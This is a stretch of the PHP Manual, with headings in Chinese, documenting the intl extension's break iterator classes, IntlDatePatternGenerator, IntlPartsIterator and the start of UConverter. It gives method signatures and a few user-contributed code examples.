  • IntlBreakIterator::getLocale — Get the locale associated with the object
  • IntlBreakIterator::getPartsIterator — Create iterator for navigating fragments between boundaries
  • IntlBreakIterator::getText — Get the text being scanned
  • IntlBreakIterator::isBoundary — Tell whether an offset is a boundary?s offset
  • IntlBreakIterator::last — Set the iterator position to index beyond the last character
  • IntlBreakIterator::next — Advance the iterator the next boundary
  • IntlBreakIterator::preceding — Set the iterator position to the first boundary before an offset
  • IntlBreakIterator::previous — Set the iterator position to the boundary immediately before the current
  • IntlBreakIterator::setText — Set the text being scanned

User Contributed Notes

SenseException 04-Dec-2013 08:53
Since there is no excample for the usage of the IntlBreakIterator yet, I made a small one:

<?php

$text = "Si contano i danni. Un morto a Roma, un treno ".
"deragliato e quattro feriti a Foggia, strade chiuse in tutto ".
"il sud, allagamenti e danni sulla costa ionica. A Pescara, ".
"1.500 sfollati per l'esondazione del Fosso Vallelunga. ".
"Dall'inizio dell'anno l'agricoltura ha subito un miliardo ".
"di euro di danni.";

$locale = 'it_IT';

$i = IntlBreakIterator::createSentenceInstance($locale);
$i->setText($text);

foreach($i->getPartsIterator() as $sentence) {
    echo $sentence . PHP_EOL . '----- next -----' .  PHP_EOL;
}

?>

Result:

Si contano i danni.
----- next -----
Un morto a Roma, un treno deragliato e quattro feriti a Foggia, strade chiuse in tutto il sud, allagamenti e danni sulla costa ionica.
----- next -----
A Pescara, 1.500 sfollati per l'esondazione del Fosso Vallelunga.
----- next -----
Dall'inizio dell'anno l'agricoltura ha subito un miliardo di euro di danni.
----- next -----


Private constructor for disallowing instantiation

  • ? IntlBreakIterator
  • IntlBreakIterator::createCharacterInstance ?
  • PHP Manual
  • IntlBreakIterator
  • Private constructor for disallowing instantiation

IntlBreakIterator::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::__construct — Private constructor for disallowing instantiation

说明

private IntlBreakIterator::__construct()

IntlBreakIterator instances should be created by using one of the static factory methods.

参数

此函数没有参数。

返回值

参见

  • IntlBreakIterator::createCharacterInstance() - Create break iterator for boundaries of combining character sequences
  • IntlBreakIterator::createCodePointInstance() - Create break iterator for boundaries of code points
  • IntlBreakIterator::createLineInstance() - Create break iterator for logically possible line breaks
  • IntlBreakIterator::createSentenceInstance() - Create break iterator for sentence breaks
  • IntlBreakIterator::createTitleInstance() - Create break iterator for title-casing breaks
  • IntlBreakIterator::createWordInstance() - Create break iterator for word breaks

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for boundaries of combining character sequences

  • ? IntlBreakIterator::__construct
  • IntlBreakIterator::createCodePointInstance ?
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for boundaries of combining character sequences

IntlBreakIterator::createCharacterInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createCharacterInstance — Create break iterator for boundaries of combining character sequences

说明

public static IntlBreakIterator::createCharacterInstance(?string $locale = null): ?IntlBreakIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

locale

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for boundaries of code points

  • ? IntlBreakIterator::createCharacterInstance
  • IntlBreakIterator::createLineInstance ?
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for boundaries of code points

IntlBreakIterator::createCodePointInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createCodePointInstance — Create break iterator for boundaries of code points

说明

public static IntlBreakIterator::createCodePointInstance(): IntlCodePointBreakIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for logically possible line breaks

  • ? IntlBreakIterator::createCodePointInstance
  • IntlBreakIterator::createSentenceInstance ?
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for logically possible line breaks

IntlBreakIterator::createLineInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createLineInstance — Create break iterator for logically possible line breaks

说明

public static IntlBreakIterator::createLineInstance(?string $locale = null): ?IntlBreakIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

locale

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for sentence breaks

  • ? IntlBreakIterator::createLineInstance
  • IntlBreakIterator::createTitleInstance ?
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for sentence breaks

IntlBreakIterator::createSentenceInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createSentenceInstance — Create break iterator for sentence breaks

说明

public static IntlBreakIterator::createSentenceInstance(?string $locale = null): ?IntlBreakIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

locale

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for title-casing breaks

  • ? IntlBreakIterator::createSentenceInstance
  • IntlBreakIterator::createWordInstance ?
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for title-casing breaks

IntlBreakIterator::createTitleInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createTitleInstance — Create break iterator for title-casing breaks

说明

public static IntlBreakIterator::createTitleInstance(?string $locale = null): ?IntlBreakIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

locale

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for word breaks

  • ? IntlBreakIterator::createTitleInstance
  • IntlBreakIterator::current ?
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for word breaks

IntlBreakIterator::createWordInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createWordInstance — Create break iterator for word breaks

说明

public static IntlBreakIterator::createWordInstance(?string $locale = null): ?IntlBreakIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

locale

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get index of current position

  • ? IntlBreakIterator::createWordInstance
  • IntlBreakIterator::first ?
  • PHP Manual
  • IntlBreakIterator
  • Get index of current position

IntlBreakIterator::current

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::current — Get index of current position

说明

public IntlBreakIterator::current(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set position to the first character in the text

  • ? IntlBreakIterator::current
  • IntlBreakIterator::following ?
  • PHP Manual
  • IntlBreakIterator
  • Set position to the first character in the text

IntlBreakIterator::first

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::first — Set position to the first character in the text

说明

public IntlBreakIterator::first(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Advance the iterator to the first boundary following specified offset

  • ? IntlBreakIterator::first
  • IntlBreakIterator::getErrorCode ?
  • PHP Manual
  • IntlBreakIterator
  • Advance the iterator to the first boundary following specified offset

IntlBreakIterator::following

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::following — Advance the iterator to the first boundary following specified offset

说明

public IntlBreakIterator::following(int $offset): int

Warning

本函数还未编写文档，仅有参数列表。

参数

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • ? IntlBreakIterator::following
  • IntlBreakIterator::getErrorMessage ?
  • PHP Manual
  • IntlBreakIterator
  • Get last error code on the object

IntlBreakIterator::getErrorCode

intl_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getErrorCode -- intl_get_error_code — Get last error code on the object

说明

面向对象风格 (method):

public IntlBreakIterator::getErrorCode(): int

过程化风格:

intl_get_error_code(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • ? IntlBreakIterator::getErrorCode
  • IntlBreakIterator::getLocale ?
  • PHP Manual
  • IntlBreakIterator
  • Get last error message on the object

IntlBreakIterator::getErrorMessage

intl_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getErrorMessage -- intl_get_error_message — Get last error message on the object

说明

面向对象风格 (method):

public IntlBreakIterator::getErrorMessage(): string

过程化风格:

intl_get_error_message(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the locale associated with the object

  • ? IntlBreakIterator::getErrorMessage
  • IntlBreakIterator::getPartsIterator ?
  • PHP Manual
  • IntlBreakIterator
  • Get the locale associated with the object

IntlBreakIterator::getLocale

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getLocale — Get the locale associated with the object

说明

public IntlBreakIterator::getLocale(int $type): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

type

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create iterator for navigating fragments between boundaries

  • ? IntlBreakIterator::getLocale
  • IntlBreakIterator::getText ?
  • PHP Manual
  • IntlBreakIterator
  • Create iterator for navigating fragments between boundaries

IntlBreakIterator::getPartsIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getPartsIterator — Create iterator for navigating fragments between boundaries

说明

public IntlBreakIterator::getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

type

Optional key type. Possible values are:

  • IntlPartsIterator::KEY_SEQUENTIAL - The default. Sequentially increasing integers used as key.
  • IntlPartsIterator::KEY_LEFT - Byte offset left of current part used as key.
  • IntlPartsIterator::KEY_RIGHT - Byte offset right of current part used as key.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the text being scanned

  • ? IntlBreakIterator::getPartsIterator
  • IntlBreakIterator::isBoundary ?
  • PHP Manual
  • IntlBreakIterator
  • Get the text being scanned

IntlBreakIterator::getText

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getText — Get the text being scanned

说明

public IntlBreakIterator::getText(): ?string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Tell whether an offset is a boundary?s offset

  • ? IntlBreakIterator::getText
  • IntlBreakIterator::last ?
  • PHP Manual
  • IntlBreakIterator
  • Tell whether an offset is a boundary?s offset

IntlBreakIterator::isBoundary

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::isBoundary — Tell whether an offset is a boundary?s offset

说明

public IntlBreakIterator::isBoundary(int $offset): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position to index beyond the last character

  • ? IntlBreakIterator::isBoundary
  • IntlBreakIterator::next ?
  • PHP Manual
  • IntlBreakIterator
  • Set the iterator position to index beyond the last character

IntlBreakIterator::last

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::last — Set the iterator position to index beyond the last character

说明

public IntlBreakIterator::last(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Advance the iterator the next boundary

  • ? IntlBreakIterator::last
  • IntlBreakIterator::preceding ?
  • PHP Manual
  • IntlBreakIterator
  • Advance the iterator the next boundary

IntlBreakIterator::next

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::next — Advance the iterator the next boundary

说明

public IntlBreakIterator::next(?int $offset = null): int

Warning

本函数还未编写文档，仅有参数列表。

参数

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position to the first boundary before an offset

  • ? IntlBreakIterator::next
  • IntlBreakIterator::previous ?
  • PHP Manual
  • IntlBreakIterator
  • Set the iterator position to the first boundary before an offset

IntlBreakIterator::preceding

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::preceding — Set the iterator position to the first boundary before an offset

说明

public IntlBreakIterator::preceding(int $offset): int

Warning

本函数还未编写文档，仅有参数列表。

参数

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position to the boundary immediately before the current

  • ? IntlBreakIterator::preceding
  • IntlBreakIterator::setText ?
  • PHP Manual
  • IntlBreakIterator
  • Set the iterator position to the boundary immediately before the current

IntlBreakIterator::previous

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::previous — Set the iterator position to the boundary immediately before the current

说明

public IntlBreakIterator::previous(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the text being scanned

  • ? IntlBreakIterator::previous
  • IntlRuleBasedBreakIterator ?
  • PHP Manual
  • IntlBreakIterator
  • Set the text being scanned

IntlBreakIterator::setText

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::setText — Set the text being scanned

说明

public IntlBreakIterator::setText(string $text): ?bool

Warning

本函数还未编写文档，仅有参数列表。

参数

text

返回值

User Contributed Notes

There are no user contributed notes for this page.


The IntlRuleBasedBreakIterator class

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

A subclass of IntlBreakIterator that encapsulates ICU break iterators whose behavior is specified using a set of rules. This is the most common kind of break iterators.

These rules are described in the » ICU Boundary Analysis User Guide.

类摘要

class IntlRuleBasedBreakIterator extends IntlBreakIterator {
/* 继承的常量 */
public const int IntlBreakIterator::DONE;
public const int IntlBreakIterator::WORD_NONE;
public const int IntlBreakIterator::WORD_NONE_LIMIT;
public const int IntlBreakIterator::WORD_NUMBER;
public const int IntlBreakIterator::WORD_NUMBER_LIMIT;
public const int IntlBreakIterator::WORD_LETTER;
public const int IntlBreakIterator::WORD_LETTER_LIMIT;
public const int IntlBreakIterator::WORD_KANA;
public const int IntlBreakIterator::WORD_KANA_LIMIT;
public const int IntlBreakIterator::WORD_IDEO;
public const int IntlBreakIterator::WORD_IDEO_LIMIT;
public const int IntlBreakIterator::LINE_SOFT;
public const int IntlBreakIterator::LINE_SOFT_LIMIT;
public const int IntlBreakIterator::LINE_HARD;
public const int IntlBreakIterator::LINE_HARD_LIMIT;
public const int IntlBreakIterator::SENTENCE_TERM;
public const int IntlBreakIterator::SENTENCE_TERM_LIMIT;
public const int IntlBreakIterator::SENTENCE_SEP;
public const int IntlBreakIterator::SENTENCE_SEP_LIMIT;
/* 方法 */
public __construct(string $rules, bool $compiled = false)
public getBinaryRules(): string|false
public getRules(): string|false
public getRuleStatus(): int
public getRuleStatusVec(): array|false
/* 继承的方法 */
public static IntlBreakIterator::createCharacterInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createCodePointInstance(): IntlCodePointBreakIterator
public static IntlBreakIterator::createLineInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createSentenceInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createTitleInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createWordInstance(?string $locale = null): ?IntlBreakIterator
public IntlBreakIterator::current(): int
public IntlBreakIterator::first(): int
public IntlBreakIterator::following(int $offset): int
public IntlBreakIterator::getErrorCode(): int
public IntlBreakIterator::getErrorMessage(): string
public IntlBreakIterator::getLocale(int $type): string|false
public IntlBreakIterator::getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator
public IntlBreakIterator::getText(): ?string
public IntlBreakIterator::isBoundary(int $offset): bool
public IntlBreakIterator::last(): int
public IntlBreakIterator::next(?int $offset = null): int
public IntlBreakIterator::preceding(int $offset): int
public IntlBreakIterator::previous(): int
public IntlBreakIterator::setText(string $text): ?bool
}

Table of Contents

  • IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset
  • IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules
  • IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object
  • IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position
  • IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position

User Contributed Notes

There are no user contributed notes for this page.


Create iterator from ruleset

  • ? IntlRuleBasedBreakIterator
  • IntlRuleBasedBreakIterator::getBinaryRules ?
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Create iterator from ruleset

IntlRuleBasedBreakIterator::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset

说明

public IntlRuleBasedBreakIterator::__construct(string $rules, bool $compiled = false)

Warning

本函数还未编写文档，仅有参数列表。

参数

rules

compiled

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the binary form of compiled rules

  • ? IntlRuleBasedBreakIterator::__construct
  • IntlRuleBasedBreakIterator::getRules ?
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the binary form of compiled rules

IntlRuleBasedBreakIterator::getBinaryRules

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules

说明

public IntlRuleBasedBreakIterator::getBinaryRules(): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the rule set used to create this object

  • ? IntlRuleBasedBreakIterator::getBinaryRules
  • IntlRuleBasedBreakIterator::getRuleStatus ?
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the rule set used to create this object

IntlRuleBasedBreakIterator::getRules

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object

说明

public IntlRuleBasedBreakIterator::getRules(): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the largest status value from the break rules that determined the current break position

  • ? IntlRuleBasedBreakIterator::getRules
  • IntlRuleBasedBreakIterator::getRuleStatusVec ?
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the largest status value from the break rules that determined the current break position

IntlRuleBasedBreakIterator::getRuleStatus

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position

说明

public IntlRuleBasedBreakIterator::getRuleStatus(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the status values from the break rules that determined the current break position

  • ? IntlRuleBasedBreakIterator::getRuleStatus
  • IntlCodePointBreakIterator ?
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the status values from the break rules that determined the current break position

IntlRuleBasedBreakIterator::getRuleStatusVec

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position

说明

public IntlRuleBasedBreakIterator::getRuleStatusVec(): array|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The IntlCodePointBreakIterator class

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

This break iterator identifies the boundaries between UTF-8 code points.

类摘要

class IntlCodePointBreakIterator extends IntlBreakIterator {
/* 继承的常量 */
public const int IntlBreakIterator::DONE;
public const int IntlBreakIterator::WORD_NONE;
public const int IntlBreakIterator::WORD_NONE_LIMIT;
public const int IntlBreakIterator::WORD_NUMBER;
public const int IntlBreakIterator::WORD_NUMBER_LIMIT;
public const int IntlBreakIterator::WORD_LETTER;
public const int IntlBreakIterator::WORD_LETTER_LIMIT;
public const int IntlBreakIterator::WORD_KANA;
public const int IntlBreakIterator::WORD_KANA_LIMIT;
public const int IntlBreakIterator::WORD_IDEO;
public const int IntlBreakIterator::WORD_IDEO_LIMIT;
public const int IntlBreakIterator::LINE_SOFT;
public const int IntlBreakIterator::LINE_SOFT_LIMIT;
public const int IntlBreakIterator::LINE_HARD;
public const int IntlBreakIterator::LINE_HARD_LIMIT;
public const int IntlBreakIterator::SENTENCE_TERM;
public const int IntlBreakIterator::SENTENCE_TERM_LIMIT;
public const int IntlBreakIterator::SENTENCE_SEP;
public const int IntlBreakIterator::SENTENCE_SEP_LIMIT;
/* 方法 */
public getLastCodePoint(): int
/* 继承的方法 */
public static IntlBreakIterator::createCharacterInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createCodePointInstance(): IntlCodePointBreakIterator
public static IntlBreakIterator::createLineInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createSentenceInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createTitleInstance(?string $locale = null): ?IntlBreakIterator
public static IntlBreakIterator::createWordInstance(?string $locale = null): ?IntlBreakIterator
public IntlBreakIterator::current(): int
public IntlBreakIterator::first(): int
public IntlBreakIterator::following(int $offset): int
public IntlBreakIterator::getErrorCode(): int
public IntlBreakIterator::getErrorMessage(): string
public IntlBreakIterator::getLocale(int $type): string|false
public IntlBreakIterator::getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator
public IntlBreakIterator::getText(): ?string
public IntlBreakIterator::isBoundary(int $offset): bool
public IntlBreakIterator::last(): int
public IntlBreakIterator::next(?int $offset = null): int
public IntlBreakIterator::preceding(int $offset): int
public IntlBreakIterator::previous(): int
public IntlBreakIterator::setText(string $text): ?bool
}

Table of Contents

  • IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator

User Contributed Notes

Matt Kynx 09-Oct-2022 01:38
An example of using this to find all the code points in a string that cannot be transliterated to Latin-ASCII:

<?php

$string = "Народm, Intl gurus get paid �10000/hr ??";

$latinAscii = Transliterator::create('NFC; Any-Latin; Latin-ASCII;');
$transliterated = $latinAscii->transliterate($string);

$codePoints = IntlBreakIterator::createCodePointInstance();
$codePoints->setText($transliterated);

foreach ($codePoints->getPartsIterator() as $char) {
    $ord = IntlChar::ord($char);
    if (255 < $ord) {
        echo IntlChar::charName($ord) . "\n";
    }
}
?>

Outputs:
EURO SIGN
GRINNING FACE WITH SMILING EYES


Get last code point passed over after advancing or receding the iterator

  • ? IntlCodePointBreakIterator
  • IntlDatePatternGenerator ?
  • PHP Manual
  • IntlCodePointBreakIterator
  • Get last code point passed over after advancing or receding the iterator

IntlCodePointBreakIterator::getLastCodePoint

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator

说明

public IntlCodePointBreakIterator::getLastCodePoint(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The IntlDatePatternGenerator class

(PHP 8 >= 8.1.0)

简介

Generates localized date and/or time format pattern strings suitable for use in IntlDateFormatter.

类摘要

class IntlDatePatternGenerator {
/* 方法 */
public __construct(?string $locale = null)
public static create(?string $locale = null): ?IntlDatePatternGenerator
public getBestPattern(string $skeleton): string|false
}

Table of Contents

  • IntlDatePatternGenerator::create — Creates a new IntlDatePatternGenerator instance
  • IntlDatePatternGenerator::getBestPattern — Determines the most suitable date/time format

User Contributed Notes

There are no user contributed notes for this page.


Creates a new IntlDatePatternGenerator instance

  • ? IntlDatePatternGenerator
  • IntlDatePatternGenerator::getBestPattern ?
  • PHP Manual
  • IntlDatePatternGenerator
  • Creates a new IntlDatePatternGenerator instance

IntlDatePatternGenerator::create

IntlDatePatternGenerator::__construct

(PHP 8 >= 8.1.0)

IntlDatePatternGenerator::create -- IntlDatePatternGenerator::__construct — Creates a new IntlDatePatternGenerator instance

说明

public static IntlDatePatternGenerator::create(?string $locale = null): ?IntlDatePatternGenerator
public IntlDatePatternGenerator::__construct(?string $locale = null)

Creates a new IntlDatePatternGenerator instance.

参数

locale

The locale. If null is passed, uses the ini setting intl.default_locale.

返回值

Returns an IntlDatePatternGenerator instance on success, or null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Determines the most suitable date/time format

  • ? IntlDatePatternGenerator::create
  • IntlPartsIterator ?
  • PHP Manual
  • IntlDatePatternGenerator
  • Determines the most suitable date/time format

IntlDatePatternGenerator::getBestPattern

(PHP 8 >= 8.1.0)

IntlDatePatternGenerator::getBestPattern — Determines the most suitable date/time format

说明

public IntlDatePatternGenerator::getBestPattern(string $skeleton): string|false

Determines which date/time format is most suitable for a particular locale.

参数

skeleton

The skeleton.

返回值

Returns a format, accepted by DateTimeInterface::format() on success, 或者在失败时返回 false.

示例

Example #1 IntlDatePatternGenerator::getBestPattern() example

<?php

$skeleton = 'YYYYMMdd';
$today = \DateTimeImmutable::createFromFormat('Y-m-d', '2021-04-24');

$patternGenerator = new \IntlDatePatternGenerator('de_DE');
$pattern = $patternGenerator->getBestPattern($skeleton);
echo 'de: ', \IntlDateFormatter::formatObject($today, $pattern, 'de_DE'), "\n";

$patternGenerator = new \IntlDatePatternGenerator('en_US');
$pattern = $patternGenerator->getBestPattern($skeleton);
echo 'en: ', \IntlDateFormatter::formatObject($today, $pattern, 'en_US');
?>

以上示例会输出：

de: 24.04.2021
en: 04/24/2021

User Contributed Notes

ICU User 11-Aug-2022 12:55
Use pattern letter "j" in skeleton to get a localized time string: https://unicode-org.github.io/icu/userguide/format_parse/datetime/index#datetimepatterngenerator

"j" gets mapped to one of "H", "h", "k" or "K".


The IntlPartsIterator class

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

Objects of this class can be obtained from IntlBreakIterator objects. While the break iterators provide a sequence of boundary positions when iterated, IntlPartsIterator objects provide, as a convenience, the text fragments comprehended between two successive boundaries.

The keys may represent the offset of the left boundary, right boundary, or they may just the sequence of non-negative integers. See IntlBreakIterator::getPartsIterator().

类摘要

class IntlPartsIterator extends IntlIterator {
/* 常量 */
public const int KEY_SEQUENTIAL;
public const int KEY_LEFT;
public const int KEY_RIGHT;
/* 方法 */
public getBreakIterator(): IntlBreakIterator
/* 继承的方法 */
public IntlIterator::current(): mixed
public IntlIterator::key(): mixed
public IntlIterator::next(): void
public IntlIterator::rewind(): void
public IntlIterator::valid(): bool
}

预定义常量

IntlPartsIterator::KEY_SEQUENTIAL

IntlPartsIterator::KEY_LEFT

IntlPartsIterator::KEY_RIGHT

Table of Contents

  • IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator

User Contributed Notes

There are no user contributed notes for this page.


Get IntlBreakIterator backing this parts iterator

  • ? IntlPartsIterator
  • UConverter ?
  • PHP Manual
  • IntlPartsIterator
  • Get IntlBreakIterator backing this parts iterator

IntlPartsIterator::getBreakIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator

说明

public IntlPartsIterator::getBreakIterator(): IntlBreakIterator

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The UConverter class

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

简介

类摘要

class UConverter {
/* 常量 */
public const int REASON_UNASSIGNED;
public const int REASON_ILLEGAL;
public const int REASON_IRREGULAR;
public const int REASON_RESET;
public const int REASON_CLOSE;
public const int REASON_CLONE;
public const int UNSUPPORTED_CONVERTER;
public const int SBCS;
public const int DBCS;
public const int MBCS;
public const int LATIN_1;
public const int UTF8;
public const int UTF16_BigEndian;
public const int UTF16_LittleEndian;
public const int UTF32_BigEndian;
public const int UTF32_LittleEndian;
public const int EBCDIC_STATEFUL;
public const int ISO_2022;
public const int LMBCS_1;
public const int LMBCS_2;
public const int LMBCS_3;
public const int LMBCS_4;
public const int LMBCS_5;
public const int LMBCS_6;
public const int LMBCS_8;
public const int LMBCS_11;
public const int LMBCS_16;
public const int LMBCS_17;
public const int LMBCS_18;
public const int LMBCS_19;
public const int LMBCS_LAST;
public const int HZ;
public const int SCSU;
public const int ISCII;
public const int US_ASCII;
public const int UTF7;
public const int BOCU1;
public const int UTF16;
public const int UTF32;
public const int CESU8;
public const int IMAP_MAILBOX;
/* 方法 */
public __construct(?string $destination_encoding = null, ?string $source_encoding = null)
public convert(string $str, bool $reverse = false): string|false
public fromUCallback(
int $reason,
array $source,
int $codePoint,
int &$error
): string|int|array|null
public static getAliases(string $name): array|false|null
public static getAvailable(): array
public getDestinationEncoding(): string|false|null
public getDestinationType(): int|false|null
public getErrorCode(): int
public getErrorMessage(): ?string
public getSourceEncoding(): string|false|null
public getSourceType(): int|false|null
public static getStandards(): ?array
public getSubstChars(): string|false|null
public static reasonText(int $reason): string
public setDestinationEncoding(string $encoding): bool
public setSourceEncoding(string $encoding): bool
public setSubstChars(string $chars): bool
public toUCallback(
int $reason,
string $source,
string $codeUnits,
int &$error
): string|int|array|null
public static transcode(
string $str,
string $toEncoding,
string $fromEncoding,
?array $options = null
): string|false
}

预定义常量

UConverter::REASON_UNASSIGNED

UConverter::REASON_ILLEGAL

UConverter::REASON_IRREGULAR

UConverter::REASON_RESET

UConverter::REASON_CLOSE

UConverter::REASON_CLONE

UConverter::UNSUPPORTED_CONVERTER

UConverter::SBCS

UConverter::DBCS

UConverter::MBCS

UConverter::LATIN_1

UConverter::UTF8

UConverter::UTF16_BigEndian

UConverter::UTF16_LittleEndian

UConverter::UTF32_BigEndian

UConverter::UTF32_LittleEndian

UConverter::EBCDIC_STATEFUL

UConverter::ISO_2022

UConverter::LMBCS_1

UConverter::LMBCS_2

UConverter::LMBCS_3

UConverter::LMBCS_4

UConverter::LMBCS_5

UConverter::LMBCS_6

UConverter::LMBCS_8

UConverter::LMBCS_11

UConverter::LMBCS_16

UConverter::LMBCS_17

UConverter::LMBCS_18

UConverter::LMBCS_19

UConverter::LMBCS_LAST

UConverter::HZ

UConverter::SCSU

UConverter::ISCII

UConverter::US_ASCII

UConverter::UTF7

UConverter::BOCU1

UConverter::UTF16

UConverter::UTF32

UConverter::CESU8

